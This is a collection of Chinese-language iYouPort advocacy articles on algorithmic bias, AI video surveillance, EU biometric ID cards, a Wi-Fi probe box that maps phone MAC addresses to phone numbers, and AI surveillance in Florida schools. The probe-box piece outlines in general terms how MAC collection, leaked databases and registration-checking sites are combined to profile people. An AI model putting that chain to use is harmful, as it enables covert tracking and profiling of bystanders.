A：如果人们能够将某些事物变得流行或通过付钱让某些类型的想法变得流行，那么这就将成为训练AI的主导逻辑。“人工智能”是个可怕的概念，因为人类的智慧不仅仅是文本分析、图像分析或图像处理，我们还有感情和情绪。

神经科学家会告诉你，技术网络的任何数量的映射都无法产生人类智力的那些维度。人工智能优于人类智能的这种观念是一场闹剧，因为人类的多个维度无法被机器复制。机器正在接受有偏见的数据培训，数据很危险，数据甚至可能不是真实的或根本不是事实，然后它们却被用来取代人类的逻辑。

这部分变得非常具有挑战性，因为我经常说的一句话是，“如果算法歧视你，你就不能把它告上法庭。”我们也没有法律和社会框架来干预这些项目。当AI侵犯我们的人权时，没有任何一个国际权利组织可以让我们提出申诉。

Q：美国社会存在着数字素养的危机。公民素养也存在危机。我们还有工程师和其他技术专家，他们知道如何制造机器和编写计算机程序，但他们往往缺乏任何哲学、道德或伦理框架来指导他们的研究。你会如何解决这些非常严重的问题？

A：如果你对社会一无所知，你就无法为社会设计技术。我们将不得不让那些对社会有深刻了解的人参与其中。这些是研究后殖民主义、

民族研究、妇女权利研究和相关社会学的学者。人文主义者—特别是研究道德和伦理的哲学家—将不得不坐在驾驶员的位置上，以制止技术正在做出的一些错误选择。

技术是在研发实验室设计出来的，从来没有经过公开讨论关于我们作为一个社会是否需要甚至是否想要这些东西。当然，也没有关于这些新技术的社会后果或政治后果的长期研究。

注：这就是为什么一直以来 IYP 对伪知识分子的危害深表遗憾。因为如果没有社会学、哲学、传播学和伦理学专业知识的协作，技术就无法控制在为人类服务的范围内。当你看到中国伪知识分子转发并倡导对谷歌的赞美和崇拜时，你就很难不陷入这种深度的焦虑。

- 关联：《谷歌的真面目》

本文的突破使用的是今年初非常流行的一部电视剧《Black Mirror: Bandersnatch》的海报，正因为这部电视剧描述的就是本文的主题——是的，绝大部分关于该剧的评论都是错误的。〇

原文

无形的极权主义 - iYouPort

你我的灾难现实

技术不是中立的。如何使用它以及为了什么目的反映了特定文化的社会规范和价值观。因此，在世界各地，算法和其他类型的人工智能通常会复制社会不平等并为强国的利益服务——而不是创造一个更平等、自由和公正的社会民主的范式。推荐一段对话

虽然我们无法直接感知算法，但我们在日常生活中一直都在被算法所包围着：它们控制着我们与设备交互的方式，控制我们使用计算机和 ATM 以及移动世界的一切。

位于计算机程序和AI深处的算法有助于管理主要道路和高速公路上的交通模式；银行和其他贷方也使用算法来确定一个人是否该被视为“有价值”；算法还决定了 Google 等搜索引擎上被显示的结果、以及通过 Facebook 等社交媒体平台你能看到什么样的信息。五角大楼与私营工业联合正在开发的算法将赋予无人驾驶飞机自主决定如何以及在什么情况下使用致命武力对付人类……

技术不是中立的。如何使用它以及为了什么目的反映了特定文化的社会规范和价值观。因此，在世界各地，算法和其他类型的人工智能通常会复制社会不平等并为强国的利益服务—— 而不是创造一个更平等、自由和公正的社会民主的范式。

计算机算法产生这些结果的具体方法是什么？谷歌和其他搜索引擎如何成为了传播种族和性别偏见观念的手段？在一个“大数据”和算法无处不在的时代里，这些技术和实践如何真正破坏了民主—— 并同时推进了威权主义和其他极右翼运动的事业？社交媒体和其他形式的数字技术是否通过让人们更加孤独和疏远社会而抑制了反抗的动力？

为了回答这些问题，我最近采访了南加州大学安纳伯格传播学院教授 Safiya Noble，她最近写了一本新书，题为《压制性的算法：搜索引擎如何加强了种族主义》。Noble 教授还是 Stratelligence 的合伙

人，该公司专门研究信息和数据科学挑战。她还是信息伦理与公平研究所的联合创始人，该研究所为致力于将其信息管理实践转变为更公正、合乎道德和公平之结果的组织提供培训。

以下是这场对话的简洁版。

Q：在这个政治时刻，当民主在美国和其他国家受到围困时，你会更广泛地阐述 Facebook，Twitter 和互联网在其中充当的角色吗？

A：我们的社会正在全面数据化发展—— 我们的每一步行动都在被跟踪，我们的每一种感觉和每一次接触都被收集和描述，它正在改变我们所有人并颠覆我们的自由。

这些进程真正破坏了我们的公民自由和公民权利。这是一个让公众变得麻木失去控制的彻底时刻。而且，甚至失去了了解自己正在被控制的能力。这是专制独裁政权的全面完美时刻。我们正在世界各地的独裁运动中看到这一点。

例如，当剑桥分析公司的丑闻在 Facebook 爆发时，我与人们交谈，他们告诉我，“好吧，我又能怎么办呢？我必须有[Facebook]。“退出参与这些大数据项目并不是一件容易的事。它们已经被武器化了并用于对抗公众。

人们崇拜这些监视资本主义巨头公司，他们的主要文化认同就在于这些公司，而不是社会运动或价值观和想法。

我曾经做过广告工作，现在我是一名学者。几十年来我注意到人们如何失去了个人控制和权力。人们现在谈论他们的权利的方式实际上是为大公司腾出空间以对他们自己的生活产生巨大影响。这个社会系统失败的时刻即将到来，我们将不得不做出一些非常艰难的决定。

Q：孤独是法西斯主义和其他类型的专制政权的先决条件。研究表明，孤独和社会异化无疑是选民涌向极右翼的原因之一。社交媒体技术在创造和培养这种社交萎靡方面的作用是什么？

A：孤独可能更多是我们与这些技术接触后的副产品，而不是说孤独或异化是前兆或存在于自身。总的消费者体验是，当你失去真正的社会力量和真正的经济机会时，你需要一种方法来解决你感受到的异化。

那就是社交媒体或技术—— 这些数字干扰—— 成为了处理这些感受以及做其他类型的情感劳动的好方法。例如，我教我的学生关于“快

时尚”。如果你和时尚学者谈过话，他们会这样告诉你，“嘿，听着，当你无力上大学时，因为现在获得学位是10万美元。哥们，在 H＆M 买20美元两件的毛衣真是太棒了。“

这就是人们正在经历的现实。你怎么能不觉得肯定会有一种方法可以从你的内啡肽中获得高值？当然，我们知道人们在社交媒体中获得的即时满足感很重要，它触发了人们在生活中其他方面无法获得的心理和情感兴奋剂。

孤独问题更多是源于没有住房、缺乏实际工资、缺乏负担得起的教育等因素带来的。那令人难以置信的孤独，唤起了人们绝望的真实感受。他们没有停下思考，而是转向了其他地方以获得安慰。

Q：“互联网作为一种伟大的社会平等者和创造机会与自由的空间以拯救我们“，这种错误观念从何而来？

A：早期的互联网用户和传播者总是把互联网视作为一个解放的网站，也就是那种无国籍、无国界、无阶级、无性别差异的地方。的确是，但那是早期的商业化前互联网时代。

随着时间的推移，互联网全面商业化了，互联网成为了 Facebook、互联网就是谷歌。普通用户无法真正了解互联网之外的内容。人类被归为了 Google 及其产品，作为人们所依赖的基本知识或感知的工具。

人们已经开始将它们视为一种既热闹又悲惨的民主形式。人们与互联网互动，互联网又是另一个拥有众多参与者的企业商业空间。当然，我们知道互联网是社会的一面镜子，它是种族化的、它是性别化的、它是一种基于阶级的经验。

所有这些限制将被消除的承诺都是骗人的。

不幸的是，很多人觉得他们在网上的参与是“参与真正民主的一种方式”。太多人实际上相信这点，因为他们可以评论或以其他方式进行在线参与，它伪装成了一个完全自由和民主的空间。

而人们看不见算法。算法是隔离和创造的市场，是谁能看到哪些类型的消息或广告的消费者市场。这对所有人来说都不是自由的。这是一个被高度策划了的空间。

相对于技术和这些平台的“民主”并不能取代任何层面上的真正民主——它们会排除人们的批判性思考的可能性（如果批判性思考曾经存在

的话），因为在这些空间中移动的是广告驱动的内容。这实际上与基于证据的研究、或对民主至关重要的其他形式的知识，都非常的不同。

Q：算法和相关技术如何重现了社会不平等？可以举一些例子吗？

A：这些平台的兴起与公共信息领域的日益萎缩接连发生。例如，公共信息领域包括公立学校、公共图书馆、公立大学和公共媒体，这对于在我们的社会中建立共同教育和共同知识基础非常重要。这些也是公平代表、历史准确性和报告我们社会面临的问题以及其他挑战的政治斗争的重要场所。

在巨头公司控制的媒体扩张的同时，公共领域正在萎缩。

我们看到的是，那些拥有最多资本的公司参与者能够将他们的内容优化到信息堆的顶端。搜索引擎尤其如此。具有大量技术技能的个人和团体也能够优化他们的存在。例如，白人民族主义者拥有令人难以置信的技术技能，你不会相信他们在控制有关种族和种族关系的语话方面有多高效。他们擅长诋毁 Black Lives Matter 等社会运动以及其他类型的人民运动，因为他们也得到了右翼组织和亿万富翁的充分资助。

这就是一个拼资本的世界。

如果你既有资本又有技术技能，那么你就可以用第三种力量来控制世界，那就是硅谷，人们正在开发这些平台。这些工程师和其他设计师中的许多人甚至在相信他们自己正在开发据称将成为伟大的解放者或知识解放者的平台时，甚至无法识别这些社会力量。

总之，这是一个真正的混乱，我认为，这是导致新型法西斯主义兴起的原因。这些想法正在网络上被规范化。那些被剥夺了权利的人，那些在美国和其他地方被钉在种族主义和性别歧视政策十字架上的人并没有很多资本，他们也可能没有很多技术实力，他们当然更没有深深植根于硅谷。

Q：人们认为这些技术是“中立的”，它们不可能是“种族主义者或性别歧视者”，你如何反驳？

A：这是典型的奥本海默式反应—— 我们不得不制造氢弹，因为它是“科学”。“我们必须处理符合科学最佳利益的事，如何应用这些研究取决于政治家。”这些实际上是社会问题。这通常是硅谷工程师谈

论他们所做工作的方式，也就是说，“我们建立工具，他们是中立的。如果它们被破坏，那是因为人们与他们接触并使用它们的方式所造成的。“

首先，我们都知道计算机语言被称为语言，正因为它们是主观的。如果编程语言是主观的，那么它们是高度可解释的。例如，搜索引擎是特定类型的AI。

AI是关于自动化决策的。如果存在这些条件，则应采取这些措施。如果没有主观的思考优先级和时间优先级的过程，就无法进行逻辑和自动决策。

这些不是数学问题。它们非常主观。事实上，谷歌本身已经表示，有超过200个因素可用于开发其搜索技术以及如何排序信息的优先级。那么，这些因素究竟都是什么？我们看不到它们—— 包括谷歌为中国制造的“蜻蜓”，但我们当然可以看看结果。

代码试图迎合大多数人的感知，这就是为什么“女孩”在搜索引擎结果方面成为色情内容的同义词的原因之一 ：因为想要以特定方式寻找“女孩”的观众最有可能是寻找色情内容的男性。这是通过算法和AI的设计做出的主观决定。

Q：关于谷歌和其他搜索引擎如何加强了种族主义和性别歧视，如搜索词“黑人女孩”所示那样，对此我们知道些什么？

A：多年来，直到2012年秋天，第一个结果都是“sugaryblackpussy.com”，其次是一系列色情网站或其他深度性感的网站。这是第一页上80％的内容—— 当然这是最重要的，因为大多数人通常不会继续翻找下一页。多年来，色情内容是搜索“黑人女孩”的主要结果。

拉丁裔和亚洲女孩也是如此。由于引发了严重争议，谷歌改变了“黑人女孩”的算法。几年来一直有很多关于它的讨论。通过这些搜索引擎结果，色情内容是非白人妇女和女孩在线搜索结果的主要代表内容。这与主流的陈规定型叙述高度一致，这些叙述被用来合法化对美国和全球社会中非白人妇女和女孩的公民权剥夺。色情制品不仅不是性解放，更是资本主义和对女性身体和女性性行为的暴力控制的功能性反映。

Q：在生成这些搜索引擎结果时，算法会做出哪些类型的决策？

A：谷歌的网络抓取工具正在寻找流行的东西，他们也希望看到什么

带有大规模超链接，他们还试图找出什么是欺诈性的。谷歌有一个认真和真实的努力，例如不能将某些类型的内容放到首页，因为“这在内容某些国家可能是非法的‘。

但在另一个层面上，您可以使用 Google Adwords 等工具优化内容的排序。有些人会付钱给谷歌以让自己的内容更加醒目和获得高位排名。

当我们谈论民主时，这一点非常重要—— 少数族裔永远无法获得这种优势，特别是如果他们无法获得货币和其他类型的资源时。在政治游戏里方面这种能力非常重要，因为某些参与者能够确保他们的信息被广泛传播，无论它是虚假的、危险的、性别歧视的、种族主义的还是其他类似的。由于人们试图购买关键字并将最糟糕的内容优化到搜索排名的前几位，就完全可以影响所有人的思考方式。

Q：最近有一个案例，由于人工智能与互联网上的用户互动，它“学会”了种族主义和性别歧视。这是“垃圾中的垃圾”的典型例子吗？

A：如果人们能够将某些事物变得流行或通过付钱让某些类型的想法变得流行，那么这就将成为训练AI的主导逻辑。“人工智能”是个可怕的概念，因为人类的智慧不仅仅是文本分析、图像分析或图像处理，我们还有感情和情绪。

神经科学家会告诉你，技术网络的任何数量的映射都无法产生人类智力的那些维度。人工智能优于人类智能的这种观念是一场闹剧，因为人类的多个维度无法被机器复制。机器正在接受有偏见的数据培训，数据很危险，数据甚至可能不是真实的或根本不是事实，然后它们却被用来取代人类的逻辑。

这部分变得非常具有挑战性，因为我经常说的一句话是，“如果算法歧视你，你就不能把它告上法庭。”我们也没有法律和社会框架来干预这些项目。当AI侵犯我们的人权时，没有任何一个国际权利组织可以让我们提出申诉。

Q：美国社会存在着数字素养的危机。公民素养也存在危机。我们还有工程师和其他技术专家，他们知道如何制造机器和编写计算机程序，但他们往往缺乏任何哲学、道德或伦理框架来指导他们的研究。你会如何解决这些非常严重的问题？

A：如果你对社会一无所知，你就无法为社会设计技术。我们将不得不让那些对社会有深刻了解的人参与其中。这些是研究后殖民主义、

民族研究、妇女权利研究和相关社会学的学者。人文主义者—特别是研究道德和伦理的哲学家—将不得不坐在驾驶员的位置上，以制止技术正在做出的一些错误选择。

技术是在研发实验室设计出来的，从来没有经过公开讨论关于我们作为一个社会是否需要甚至是否想要这些东西。当然，也没有关于这些新技术的社会后果或政治后果的长期研究。

注：这就是为什么一直以来 IYP 对伪知识分子的危害深表遗憾。因为如果没有社会学、哲学、传播学和伦理学专业知识的协作，技术就无法控制在为人类服务的范围内。当你看到中国伪知识分子转发并倡导对谷歌的赞美和崇拜时，你就很难不陷入这种深度的焦虑。

- 关联：《谷歌的真面目》

本文的突破使用的是今年初非常流行的一部电视剧《Black Mirror: Bandersnatch》的海报，正因为这部电视剧描述的就是本文的主题——是的，绝大部分关于该剧的评论都是错误的。〇

原文

机器人监视卫队即将到来 - iYouPort

你我的灾难现实

32亿美元 —— 1984迎来了一块崭新的巨大肥肉

「图」

「图」

我们周围都是监控摄像头，可以随时记录我们。

但在大多数情况下，当这些摄像机正在观察我们时，没有人在看那些摄像机观察或记录的东西，因为没有人会为这种耗时且单调的任务所需的安保人员支付费用。

但想象一下，所有视频都在被密切观看 —— 数以百万计的监视者全天候监控它们；想象一下，这支军队是一群不需要报酬、从不厌倦、从不睡觉、从不错过任何细节的家伙，并且他们可以做到对所看到的一切完整回忆分毫不差。

这样一支监视者部队可以仔细检查他们看到的每个人是否有“可疑”行为的迹象。

通过无限的时间和无止境的注意力，他们还可以记录他们所看到的所有人的详细信息 —— 人们的衣着特征、人们的表情和情感、肢体语言，谁与谁正在联系，以及人们的每一项活动和动作。

这种情况很快就会到来了。当然，这些守卫不会是人类 —— 他们是AI特工。

ACLU 正在发布一份价值32亿美元的行业报告，该行业正在建立一种被称为“视频分析”的技术，该技术开始在全球范围内增强监控摄像头的能力，并将它们变成那种不眨眼的监视者。

该技术使用尖端的、基于深度学习的人工智能，发展速度是如此之快，以至于这项技术的早期版本已经开始进入所有人的生活。

一些汽车现在已经配备了仪表板摄像头，当驾驶员看起来昏昏欲睡时可以发出警报；

当陌生人出现在家门口时，门铃摄像机会提醒 主人；

无收银台的商店使用支持 AI 的摄像头监控客户，并在他们从货架上挑选物品时自动跟踪他们……

在报告中，我们研究了这项技术的部署地点，以及公司声称可以提供的功能。

我们还审查了计算机视觉科学家和其他研究人员的大量论文，以了解正在设想和开发的能力类型。

我们发现，如果应用于监视和营销，计算机科学家所追求的能力将创造一个令人恐惧的洞察性监视世界。

⚠收集和存储视频以备不时之需的相机正在转变为可以主动监视所有人的设备，而且通常都是实时的。

一台无比强大的监控机器已经在我们周围成长起来，但是曾经，在很大程度上它是愚蠢和惰性的 —— 然而现在，从某种意义上来说，它正在“醒来”。

「图」

「图」

计算机正在变得越来越“好”，例如，所谓的“人类行为识别”功能。人工智能培训的数据集包括数以千计的计算机可识别行为 —— 例如戴上帽子、摘下眼镜、手伸进口袋、喝啤酒等等。

研究人员也在努力创造在所谓的“异常检测”方面表现更好的人工智能技术 —— 对任何“不寻常”、“异常”、“离经叛道”、或“非典型”的人发出警报；

⚠它识别我们的情感、检测我们的感知、对我们行为的物理和社会背景深度理解，以及对我们运动模式广泛跟踪。

想想这些技术的一些含义，特别是与人脸识别等其他技术结合使用时。

例如，不难想象未来一位腐败的市长会对助手说：“这是我政府的敌人名单。让相机向我们发送这些人亲吻另一个人的所有实例，以及他们亲吻的人的身份。”

政府和公司可以使用AI代理来根据衣着、姿势、不寻常的特征或行为以及情绪来追踪谁是“可疑的”。

那些以某种方式脱颖而出并吸引如此警惕的相机注意力的人，可能会发现自己立刻受到了骚扰、审讯、被驱逐出商店，或更糟糕。

这些技术中的许多或大部分介于不可靠和完全虚假之间。

然而，根据经验，这往往不会阻止这些技术被部署 —— 并且也不会避免伤害无辜的人民。

而且，像许多技术一样，这些新监视能力的危险性将不可避免地落在已经处于不利地位的人群身上：有色人种、穷人、政治异议人士、和边缘人。

目前仍处于计算机视觉革命的早期阶段，我们不知道人工智能将如何发展，但我们需要记住，人工智能的进步最终可能会非常迅速。

在不久的将来，我们可能最终生活在机器人军队的严密监视之下，他们比人类更危险。

这些人工智能监视者，如果不加以控制，可能会迅速增加到数十亿，代表企业和官僚权力扩展到我们生活的方方面面，密切跟踪每个人、并不断操纵每个人的行为。〇

在这里阅读完整报告：https://www.aclu.org/sites/default/files/field_document/061819-robot_surveillance.pdf

原文

生物识别身份证 - iYouPort

你我的灾难现实

最近欧盟关于国民身份证的公告将摧毁数百万人的隐私，并创建一个近乎全球性的生物识别数据库。现在开始如果你想进入欧洲，要小心了！

「图」

「图」

最近欧盟（EU）关于国民身份证的公告将摧毁数百万人的隐私，并创建一个近乎全球性的生物识别数据库。

“国家观察“新闻的一篇文章透露，欧盟已经同意制作强制性国家生物识别身份证。

“作为欧盟‘安全联盟’的一部分正在谈判，发展迅速，理事会和议会就移民联络官新规则、欧盟签证准则、和强制性生物识别国民身份证的引入，达成了临时协议，并且理事会同意其关于新 Frontex 条例的谈判立场“。

3月份，尼泊尔政府已经宣布计划推出一项影响3000万人口的国家生物识别身份证。

上个月，我写了一篇文章，警告人们全球当权者正在努力限制每个人的旅行权。但是整个欧洲和亚洲正在发生的事，应该让每个人都感到寒意。

如果你将欧洲正在发生的事与美国的国家生物识别身份证、Real-ID 结合起来，很明显能看到，每个人的自由旅行权都处于危险之中。

——将有5.12亿人被迫放弃自己的隐私——

欧洲国家生物识别身份证几乎是确定无疑的。将有512.6百万公民被迫放弃他们的隐私。

“今天，理事会主席和欧洲议会的代表达成了关于改善欧洲移民联络官网络运作法规的非正式协议。现在将提交欧盟大使代表理事会进行确认。”

“布鲁塞尔时报”说，当法律生效时，成员国将有八年的时间来遵守。

这将如何影响美国游客？

任何希望访问欧盟28个成员国中的任何一个国家的外国人都"将被生物识别描述"，并通过“欧洲旅行信息和授权系统 ETIAS”进行风险评估。

在这里看到视频：

“由于在欧盟不需要旅行签证的国家的公民不需要经过漫长的申请签证，ETIAS 将确保这些人不是安全威胁。这个旅行授权系统将收集、跟踪和更新有关访客的所有必要信息，以确定他们进入申根国家是否安全。“

如果 ETIAS 听起来很像美国国土安全部的“美国旅行授权电子系统”，他们的秘密禁飞名单应该给自己加一个金星，因为这正是它的模仿。

如果您和您的家人计划长时间访问某个国家/地区，您将别无选择，只能将生物识别数据提交给欧盟。

“与此同时，欧盟也正在升级签证信息系统（VIS）—目前用于持有短期申根签证的所有申请人的信息，正在扩大其中包括长期签证和居留的信息文件; 在长期签证中强制执行生物识别数据收集; 并包括6岁及以上儿童的指纹。所有签证申请人都将被描述（要了解有关前往欧洲的更多信息，请点击此处。）

爱尔兰时报警告说，12岁以上的人都将被迫携带国家生物识别身份证。

“新法案建议对那些拥有身份证的欧盟公民（12岁以上）以及非欧盟家庭成员的居留卡强制要求生物识别数据，现在包括指纹和面部图像，存储在芯片中。”

“国家观察“的文章还警告说，国家生物识别身份证必须每5年更新一次，对未成年人来说这个时间更少。

“身份证的有效期最短为5年，最长有效期为10年。成员国可以为70岁

及以上的人发放较长时间有效的身份证。未成年人的身份证有效期可能不到5年。“

ETIAS 模型的建立紧追美国国安部的类似监视计划，令人震惊。迫使数百万人携带国家生物识别身份证之举措具有欧洲警察国家的所有特征。

难道我们没有从第二次世界大战中学到任何东西吗？

THE EUROPEAN UNION’S MANDATORY NATIONAL BIOMETRIC ID CARD WILL AFFECT 512 MILLION PEOPLE. Forcing millions of people to carry national biometric ID cards has all the earmarks of a European police state. Didn’t we learn anything from World War II?

原文

百米之内轻松获取你的手机号 —— 邪恶“黑匣子”正在中国热销 - iYouPort

你我的灾难现实

尽可能少的携带电子设备在身上，尤其是重要会面、集会等场合！如果必须携带，请选择一次性手机

「图」

「图」

如果有一个盒子，只要你在它百米之内，就能直接获取你的手机号，你害不害怕？

最近一则新闻“一个盒子就能获取任意的手机号”被媒体报道出来，新闻提到，中国长沙一家公司正在售卖一个智能盒子，只要手机打开WIFI, 在这个盒子周围 100 米范围内，任意手机号都可以被轻松获取。

本以为已被新闻报道，再加上涉及贩卖公民隐私，查询时应该会费番周折，甚至怀疑这公司可能已经被警方端掉了。可没想到的是，输入这家公司名字后，第一个出来的就是它的官网，还做了百度推广。

官网的装修也颇为用心，还在发展全国代理商。

「图」

「图」

官网页面下方模糊地展示着各种商标注册证书：

「图」

「图」

数据收集栏写着 “线下真实场景、采集Mac地址、无感采集技术”内

容：

「图」

「图」

“智能盒子“的真面目

从官网看，这家公司经营的主要产品是“70度大数据营销平台”，具体如下：

「图」

「图」

介绍中的数据挖掘、app定向等词让产品非常高端、耀眼，可跟智能盒子的关系却一点看不出来。

该公司业务员说，该公司的主要产品就是智能盒子，官网上面的宣传内容都是基于盒子的营销服务。之后介绍了智能盒子的相关信息。

智能盒子是什么

智能盒子鼠标大小，可随身携带，连接 Wi-Fi 和移动电源就能使用，主要用来搜集mac地址。

「图」

「图」

智能盒子的使用

该业务员说，只要手机使用者打开 WIFI 功能或者数据流量，都能够通过“智能盒子”采集到该手机的 mac 地址，之后通过后期技术手段进而分析出该 mac 地址所对应的手机号码。

智能盒子的市场需求

有了客户手机号码，可以运作的内容就太多了，并且非常危险！

背后技术原理

仅仅只是带手机在外面逛了一圈，还来不及施展任何操作，信息就已

经暴露了。这是多么可怕的事。

「图」

「图」

第一步：用盒子获取 **mac** 地址

mac 地址：手机mac地址就是手机网卡地址，是唯一的，换句话说，就是手机的身份证号。

只要你打开 Wi-Fi，你的设备自己就在广播mac地址，这是Wi-Fi协议 802.11 规定，而智能盒子就是一个 WIFI 探针，实现这个成本极低。

至于通过数据流量获取mac地址，因为伪基站涉嫌违法，所以他们的业务员一再否认没有伪基站，但打开流量就能获取mac地址，除了基站还舍谁呢。伪基站我们已介绍过，点击可查看。

第二步：**Mac** 地址匹配手机号码

拿到mac地址后，又如何获得使用者的手机号码，官网的一句话解释是自建数据库资源匹配。那问题来了，自建的数据库是从哪里得来数据呢？可能性最大的数据来源有两种：

- 一是运营商的信息泄漏。运营商会记录每个用户的 mac 地址，在有需要的时候查询，他们当然也知道你的手机号，因此他们是最完备的数据来源。
- 二是 app 信息泄漏。现在app基本都是用手机号注册，下载之后，很多app都会默认获得你的mac地址。这些资源，除了我们已知的在暗网上面售卖的各种明码实价的信息，还有众多的内部信息泄漏渠道。

第三步：利用手机号作用户画像

⚠ 有了用户的手机号码，就可以拿着这些号码去尝试注册各种网站，只要提示已注册，那么你就是这个网站的受众，再给你打上母婴、英语这些特征标签，完成人物画像。这也是“REG007”（查找你注册过什么）这些网站的原理。

「图」

「图」

不难发现在用智能盒子搜集mac地址的背后就是集合拖库、洗库、撞库三部曲的一条信息贩卖链。只是这个案例中，通过线下采集，精准收集了人物的位置信息 ⚠。

“正规”生意？

“智能盒子”与一般黑产手段最大的不同点就在于，用户手机号码是加密给到客户的。

“我们不会给你完整的手机号码，你只是有一个加密的联系方式”，业务员说，“给你完整的号码涉嫌侵犯用户隐私是违法的。”

只要加密就不涉及违法，这便是他们如今企业化、规模化的底气所在。

若真如他所说，这个设置实在是妙。从市场角度看，没有给出客户信息就可以保证商家持续的依赖企业，另一方面又能钻法律的空子，一举两得。

公民信息被如此大规模侵犯，真的不涉及违法吗？

侵害隐私权的定义：以非法方式公开，知悉，收集和刺探，利用他的个人隐私，信息或者活动的空间范围。

法律人士有两种不同观点：

一方认为确实不算侵犯隐私权。售卖加密的联系方式，行为实施时受害人并不具体化，不能以侵害具体隐私权论。

另一方认为应该界定为侵犯个人的隐私。加密的联系方式既然能直接联系到个人，那么它也就具备了一些个人信息的意味。同一个加密信息，只对应一个人，有特定性。

长期服务于网络安全领域的律师说：此案例处在灰色地带，国内个人数据保护立法还尚需完善，很难判别是否违法。

但欧盟 GDPR《通用数据保护条例》可以参考。该条例明确表示个人信息数据（包括个人隐私数据）在内的搜集与处理都要获得用户授权，且在授权的目的范围内，应尽可能少地搜集用户数据。此案中，盒子搜集的信息，是否界定为隐私数据并不影响其就是个人信息数据的事实，是必然违反GDPR的规定。

> 现在这个盒子还只是被用在市场营销上，但若是不能将其尽快遏制，被一些不法之徒用在其它途径，比如给周围人发送藏有监控木马的短信，基于地理位置精准的电信诈骗，又将会造成多大的安全威胁。况且，加密的手机号是可以被破解的！

售卖加密手机号是否违法，目前还尚有争议。且单就mac地址泄漏而言，是用户为了连接网络主动开启数据流量 /Wi-Fi 的，因此泄漏的风险是无法规避的。

从网络诞生以来，用户一直都在隐私和服务之间权衡。得到有价值的服务，注定要承担受到骚扰和其它损失的可能威胁，网络世界是无法保证个人信息绝对安全。

而面对这些灰色、黑色的擦边球区域，法律界定必须越来越细致。所幸的是，除了现行的隐私权保护条例，国内专门针对保护个人信息的法律《个人信息保护法》，已在制订中，将进一步为我们捍卫隐私信息权提供武器。

最后，提醒下各位，以后若是在周围看到这种白色的小盒子，请注意关机！

来自 FreeBuf

原文

监狱式教学 - iYouPort

你我的灾难现实

一种新的监视系统正在进入市场，比人脸识别更可怕，它的顶级市场在哪儿？

布劳沃德县公立学校正在采取一种实验性的人工智能监视系统，可以比以往任何时候都更深度地入侵所有人的生活。

是的，所有人，不止学生，因为该技术正在推向市场。它比人脸识别更可怕，仅仅遮住脸是没用的。

南佛罗里达州的这套监视系统是全国最大的校园监视系统之一，上个月表示将安装一个名为 Avigilon 的摄像机—允许安全官员根据学生的外表跟踪学生。只需点击一下，警卫就可以提取学生在校园内其他任何地方出现的视频。

管理员表示将安装在被认为“风险最高”的学校周边的145摄像机系统，当算法感觉到“似乎出现了与众不同”的事件时，就会自动提醒学校监控人员。“

这种增加压力的监控网络已经为一些学生、家长和教师提出了重大问题，他们对其准确性、侵入性和有效性表示了深切担忧。这项技术可以像人类一样了解学校校园内的方方面面。

“这台计算机如何确定一所有3000多名孩子的学校里发生的一切哪些正确哪些错误？根据是什么？” Krawczyk 说，他是该校的老师，“现在我们周边每两英尺就有一台摄像机，但你无法让机器完成人类可以做的一切。你不能自动化学校。而我们正在把这些学校变成什么？—— 监狱

校园暴力的幽灵正在推动全国各地的学校领导人将他们的校园变成高强度监视的场地，希望监视系统能帮助他们发现所谓的“危险人物”。去年由科技巨头 Motorola Solutions 以10亿美元收购的人工智能服务公司 Avigilon 的支持者和设计者表示，其安全算法“可以以高速度和

精准度发现危险行为，可能会阻止另一次攻击”。

但是，先进的监控技术令学童的日常生活受到了系统性的严密审查，这些系统将某些学生标记为可疑的、刺激保安或警察部队的响应，这一切都是基于隐藏在公众面前的算法的工作。

一些技术专家和公民自由专家指出，监视系统在防止校园暴力方面没有可靠的记录。他们的算法对偏差和准确性的测试（系统对识别可能的威胁有多大的信心）主要是由公司自己进行的。

如果 Avigilon 合同在未来几周内获得地区领导的最终批准，学区将花费超过**60**万美元的联邦和地方资金激活这个围绕高中校园的人工智能老大哥系统，合同记录显示，新的监视系统将与已经布设的另外10,000台摄像机一起运行全面监视。

然而，该计划的许多方面仍然是一个谜，目前还不清楚监视系统的数据和性能将如何被调整、测量或测试潜在的缺陷。学区拒绝媒体要求查看与该项目有关的记录，包括官员与该公司的通信，并引用佛罗里达州的一项法规称，任何与监视系统有关的信息都免于公共记录法。

根据美国国家教育统计中心的调查数据显示，1999年科罗拉多州科伦拜恩高中枪击事件发生后的一年中，近20%的公立学校扩大了监视措施，使用监控摄像机。到2015年超过80%。

但目前还不清楚大规模监视对大规模暴力的影响如何。在此期间，每年的学校枪击事件数量是持平的、甚至略有增长；据 Post 分析发现，去年发生了25次枪击事件，这是至少二十年来大规模学校暴力事件中最糟糕的一年。

Avigilon 的技术不使用可以直接将人的身份与数据库中的图像匹配的面部识别软件。然而全国各地的学校和社区中心正在安装类似的软件，希望标记或阻止未经授权的访问者进入。

但在某些方面，**Avigilon** 的功能更强大，因为它的“外观搜索”功能允许人们只根据身体特征就可以被全面跟踪—而不需要面部识别。类似中国的步态识别的效果，遮住脸没有用。

据称该人工智能软件已经在数以百万计的图像上进行了训练，以理解人们的基本外观和运动特征，它的建造者说它现在可以从远处仅通过外观识别任何人—考虑到他们的身体形状、发型、他们的衣服、肤色等等。可以在几秒钟内建立一个精确的运动时间线。

该公司正在将这项技术推向市场，有助于彻底改变公众监视，这些系统被宣传为超级观察，可以不间断地监视而不受干扰—— 这是每天24小时扫描数千个视频流的必要条件。

同时生产车载摄像头和双向无线电的 Motorola 表示，去年收购 Avigilon 时，其人工智能监控系统有助于满足军队和警察监视的蓬勃发展的市场。

布劳沃德县公立学校聘请的咨询公司 Safe Havens International 的执行董事 Michael Dorn 表示，像 Avigilon 这样的视频分析系统在寻求最大化监控能力的学校中变得越来越受欢迎。

对学校暴力的技术解决方案的渴望使大量科技和监视技术初创公司竞相争夺公共客户。市场研究公司 IHS Markit 的高级分析师 Jon Cropley 表示，学校和其他相关的买家是全球监控系统的第五大市场，但是在美国是顶级市场，**2017**年的收入为**27**亿美元。

- 关于中国的类似情况，更多详见：《中国：互联网维稳产业，谁将成为唯一的失败者？》

监视摄像机算法也越来越多地以非常规方式、有时甚至是未经证实的方式部署。例如，初创公司 Athena Security 提供一种监控摄像头软件，据称可以在有人拿出枪或刀时自动检测到。该系统在武器图像数据集上训练，在宾夕法尼亚州的一所高中布设。

公司负责人 Lisa Falzone 表示，该系统没有经过独立测试，但内部试验表明“它可以达到99%的准确度”。然而，对类似技术的批评者担心，当有人拿出只是手机而不是枪支时，不准确的识别—可能会产生致命的后果！

